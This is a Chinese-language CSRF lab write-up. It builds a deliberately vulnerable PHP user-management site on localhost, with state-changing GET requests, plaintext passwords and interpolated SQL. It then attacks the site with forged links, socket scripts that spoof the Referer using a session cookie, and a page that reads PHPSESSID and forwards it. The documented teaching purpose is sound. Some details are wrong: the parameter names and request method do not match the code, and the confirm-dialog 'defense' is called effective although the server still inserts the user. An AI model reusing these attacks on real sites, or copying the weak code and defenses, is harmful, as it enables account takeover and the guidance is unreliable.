CSRF攻击与防护

CSRF攻击与防护

1. 背景与原理

1.1 CSRF攻击定义
  • CSRF(Cross Site Request Forgery,跨站请求伪造)是一种利用用户身份权限的攻击方式。
  • 攻击者诱导已登录目标网站的用户访问含有恶意代码的页面,伪造用户的合法请求,执行未授权操作。
1.2 CSRF攻击的原理
  • 浏览器的同源策略允许同源的网页共享Cookie,但攻击者可以利用此策略:
    1. 用户登录目标网站后,浏览器保存Cookie。
    2. 用户访问恶意页面时,页面中的恶意代码通过伪造请求,利用用户Cookie向目标网站发送恶意请求。
1.3 CSRF攻击的危害
  • 在用户毫不知情的情况下:
    • 窃取用户信息。
    • 未经授权的资金转移。
    • 操作敏感的账户功能。

2. 项目任务概述

实验通过创建两个网站(目标网站和攻击网站),模拟CSRF攻击并探讨防护措施。具体任务如下:

  1. 建立一个具有用户添加功能的目标网站(存在CSRF漏洞)。
  2. 创建一个模拟CSRF攻击的网站。
  3. 测试目标网站是否可以被CSRF攻击。
  4. 通过HTTP Referer验证和操作确认对话框两种方式防护CSRF攻击。

3. 实验过程

3.1 任务1:建立具有CSRF漏洞的目标网站
3.1.1 环境准备
  • 在Apache根目录下(C:\Apache24\htdocs)创建名为csrf的文件夹,作为目标网站目录。
  • 复制基础网站代码文件至csrf目录,添加用户管理功能。
3.1.2 添加功能
  1. 添加用户页面

    • 创建newuser.html,内容为用户输入用户名和密码的表单。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      <!DOCTYPE html>
      <html>
      <head>
      <meta charset="UTF-8">
      <title>NewUser</title>
      <style>
      #a{ width: 300px; text-align: right; }
      .b{width: 150px;height:20px;}
      </style>
      </head>
      <body>
      <?php
      include_once "functions.php";
      start_session($expires);

      if(!isset($_SESSION['username'])){
      echo '您没有权限访问此页面';
      exit;
      }

      ?>
      <div id=a>
      <p align="left">添加用户:</p>
      <form name="form_register" method="get" action="do_adduser.php">
      Username: <input type="text" class=b name="username" /><br>
      Psssword: <input type="password" class=b name="passwd" /><br>
      <input type="submit" name="Submit" value="Submit" />
      <input type="reset" name="Reset" value="Reset" />
      </form>
      </div>
      </body>
      </html>
  2. 处理后台请求

    • 创建do_adduser.php,接收POST请求并将用户信息写入数据库。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      <?php
      include_once "functions.php";
      start_session($expires);

      if(!isset($_SESSION['username'])){
      echo '您没有权限访问此页面';
      exit;
      }

      include_once "con_database.php";

      //获取输入的信息
      $username = isset($_GET['username']) ? mysqli_escape_string($con,$_GET['username']) : '';
      $passwd = isset($_GET['passwd']) ? mysqli_escape_string($con, $_GET['passwd']) : '';
      if($username == '' || $passwd == '' )
      {
      echo "<script>alert('信息不完整!'); history.go(-1);</script>";
      exit;
      }
      // echo "<script language='javascript'>";
      // echo "var sure=confirm( '确认添加用户".$username ."吗 '); ";
      // echo "if (!sure){location.href='newuser.html'; }";
      // echo "</script>";
      //执行数据库查询,判断用户是否已经存在
      $sql="select * from users where username = '$username' ";

      $query = mysqli_query($con,$sql)
      or die('SQL语句执行失败, : '.mysqli_error($con));

      $num = mysqli_fetch_array($query); //统计执行结果影响的行数
      if($num) //如果已经存在该用户
      {
      echo "<script>alert('用户名已存在!'); history.go(-1);</script>";
      exit;
      }

      $sql = "insert into users (username,passcode) values('$username','$passwd')";

      mysqli_query($con, $sql)
      or die('用户添加失败, : '.mysqli_error($con));

      echo "用户添加成功!";

      mysqli_close($con);
      ?>

  3. 修改导航链接

    • welcome.php添加链接,指向newuser.html页面。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      <?php
      include_once "functions.php";
      start_session($expires);

      if(isset($_SESSION['username']))
      {
      echo '欢迎用户'.$_SESSION['username'].'登陆';
      echo "<br>";
      echo "<a href='showmessage.php'>查看消息</a>";
      echo "<br>";
      echo "<a href='newuser.html'>添加用户</a>";
      echo "<br>";
      echo "<a href='logout.php'>退出登录</a>";
      }
      else
      {
      echo '您没有权限访问此页面';
      }
      ?>

3.1.3 测试
  • 使用Firefox浏览器访问目标网站:

    • 登录http://localhost/csrf/login.html(用户名:admin,密码:admin123)。

    • 点击“添加用户”链接,输入csrfcsrf123,提交后验证用户添加成功。


3.2 任务2:建立CSRF攻击网站
3.2.1 创建攻击网站
  • 在Apache根目录下创建文件夹docsrf,用于模拟CSRF攻击网站。

  • docsrf目录下创建csrf.html,内容为包含伪造表单提交的恶意代码。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="UTF-8">
    <title>csrf</title>
    </head>
    <body>

    <a href=http://localhost/csrf/do_adduser.php?username=admin1&passwd=admin1>Click Me</a>

    </body>
    </html>
3.2.2 恶意代码示例**
1
<a href="http://localhost/csrf/do_adduser.php?username=hacker&password=hack123">Click Me</a>
  • 点击该链接时,伪造请求直接添加用户。
3.3 任务3:CSRF攻击测试
3.3.1 测试流程
  1. 未登录状态测试

    • 使用IE浏览器访问http://localhost/docsrf/csrf.html

    • 点击“Click Me”,由于未登录目标网站,添加用户操作失败。

  2. 已登录状态测试

    • 使用保持登录状态的Firefox浏览器访问http://localhost/docsrf/csrf.html

    • 点击“Click Me”,发现用户添加成功。

3.3.2 攻击原理分析
  • 攻击成功的关键在于用户在目标网站的会话Cookie被恶意网站利用,从而伪造合法请求。

3.4 任务4:CSRF防护
3.4.1 方法一:HTTP Referer验证
  1. 实现步骤

    • 修改functions.php,增加check_referrer($referer)函数:

      1
      2
      3
      4
      5
      6
      7
      function check_referer($referer)
      {
      if ($_SERVER['HTTP_REFERER'] != $referer)
      {
      exit('来源错误');
      }
      }

      do_adduser.php,添加语句:

      1
      check_referer('http://localhost/csrf/newuser.html');
    • 验证请求是否来自合法页面。

  2. 测试结果

    • 重复攻击步骤,发现由于Referer不匹配,攻击请求被拒绝。

      但可以用以下方法攻击,csrf_referer_ez.php,访问http://localhost/docsrf/csrf_referer_ez.php

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      <!DOCTYPE html>
      <html>
      <head>
      <meta charset="UTF-8">
      <title>csrf</title>
      </head>
      <body>

      <?php

      $server = 'localhost';
      $host = 'localhost';
      $target = '/csrf/do_adduser.php?username=socket&passwd=socket123';
      $referer = 'http://localhost/csrf/newuser.html'; // Referer
      $uagent ='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0'; //User-Agent自行修改
      $cookie ='PHPSESSID=9rfa50r1a7ff8os3pgo7ik5cna';//自行修改
      $port = 80;

      $fp = fsockopen($server, $port, $errno, $errstr, 30);
      if (!$fp)
      {
      echo "$errstr ($errno)\n";
      }
      else
      {
      $out = "GET $target HTTP/1.1\r\n";
      $out .= "Host: $host\r\n";
      $out .= "Referer: $referer\r\n";
      $out .= "User-Agent: $uagent\r\n";
      $out .= "Cookie: $cookie\r\n";
      $out .= "Connection: Close\r\n\r\n";
      fwrite($fp, $out);

      while (!feof($fp))
      {
      echo fgets($fp, 128);
      }

      fclose($fp);
      }

      ?>

      </body>
      </html>

      csrf_auto.html,访问http://localhost/docsrf/csrf_auto.html

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      <!DOCTYPE html>
      <html>
      <head>
      <meta charset="UTF-8">
      <title>csrf</title>
      <script src="http://libs.baidu.com/jquery/2.1.4/jquery.min.js"></script>
      <script>
      function getSessionId(){
      var c_name = 'PHPSESSID';
      if(document.cookie.length>0){
      c_start=document.cookie.indexOf(c_name + "=")
      if(c_start!=-1){
      c_start=c_start + c_name.length+1
      c_end=document.cookie.indexOf(";",c_start)
      if(c_end==-1) c_end=document.cookie.length
      return unescape(document.cookie.substring(c_start,c_end));
      }
      }
      }
      </script>
      <script>
      function load(){
      window.location.href='http://localhost/csrf/newuser.html';
      }
      </script>
      </head>
      <body onload = load() >
      <script>
      $(document).ready(function(){
      window.location.href="http://localhost/docsrf/csrf_referer.php?sid="+getSessionId();
      });
      </script>
      </body>
      </html>

      csrf_referer.php

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      <!DOCTYPE html>
      <html>
      <head>
      <meta charset="UTF-8">
      <title>csrf</title>
      </head>
      <body>

      <?php
      if(!isset($_GET['sid']))
      {
      exit;
      }

      $SID = $_GET['sid'];

      $server = 'localhost';
      $host = 'localhost';
      $target = '/csrf/do_adduser.php?username=socket1&passwd=socket123';
      $referer = 'http://localhost/csrf/newuser.html'; // Referer
      $uagent ='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0'; //User-Agent自己改
      $port = 80;

      $fp = fsockopen($server, $port, $errno, $errstr, 30);
      if (!$fp)
      {
      echo "$errstr ($errno)\n";
      }
      else
      {
      $out = "GET $target HTTP/1.1\r\n";
      $out .= "Host: $host\r\n";
      $out .= "Referer: $referer\r\n";
      $out .= "User-Agent: $uagent\r\n";
      $out .= "Cookie: PHPSESSID=" .$SID ."\r\n";
      $out .= "Connection: Close\r\n\r\n";
      fwrite($fp, $out);

      while (!feof($fp))
      {
      echo fgets($fp, 128);
      }

      fclose($fp);
      }

      ?>

      </body>
      </html>
3.4.2 方法二:设置操作确认对话框
  1. 实现步骤

    • 修改do_adduser.php(19行),添加操作确认逻辑:

      1
      2
      3
      4
      echo "<script language='javascript'>";
      echo "var sure=confirm( '确认添加用户".$username ."吗 '); ";
      echo "if (!sure){location.href='newuser.html'; }";
      echo "</script>";
    • 每次操作需要用户手动确认。

  2. 测试结果

    • 当用户访问攻击页面时,会弹出对话框提示操作,用户选择“否”后攻击被终止。


4. 实验结果与总结

  1. 实验结果

    • CSRF攻击需要用户在登录目标网站的情况下访问恶意页面。
    • HTTP Referer验证和操作确认对话框有效阻止了CSRF攻击。
  2. 实验总结

    • Referer验证:通过检查请求来源,可以识别非法请求。
    • 用户交互:强制用户确认敏感操作,有效减少误操作带来的风险。
  3. 安全建议

    • 避免点击不明链接。
    • 针对敏感操作添加多因素验证机制(如验证码或Token)。

5. 拓展思考

  1. POST方式的CSRF攻击

    • 攻击者可通过表单隐藏参数的方式伪造POST请求。

    • 示例代码:

      1
      2
      3
      4
      5
      <form method="post" action="http://localhost/csrf/do_adduser.php">
      <input type="hidden" name="username" value="hacker">
      <input type="hidden" name="password" value="hack123">
      <input type="submit" value="Submit">
      </form>
  2. Cookie验证的局限性

    • 即使启用Cookie验证,浏览器仍会自动附加有效的Cookie,无法完全防止CSRF攻击。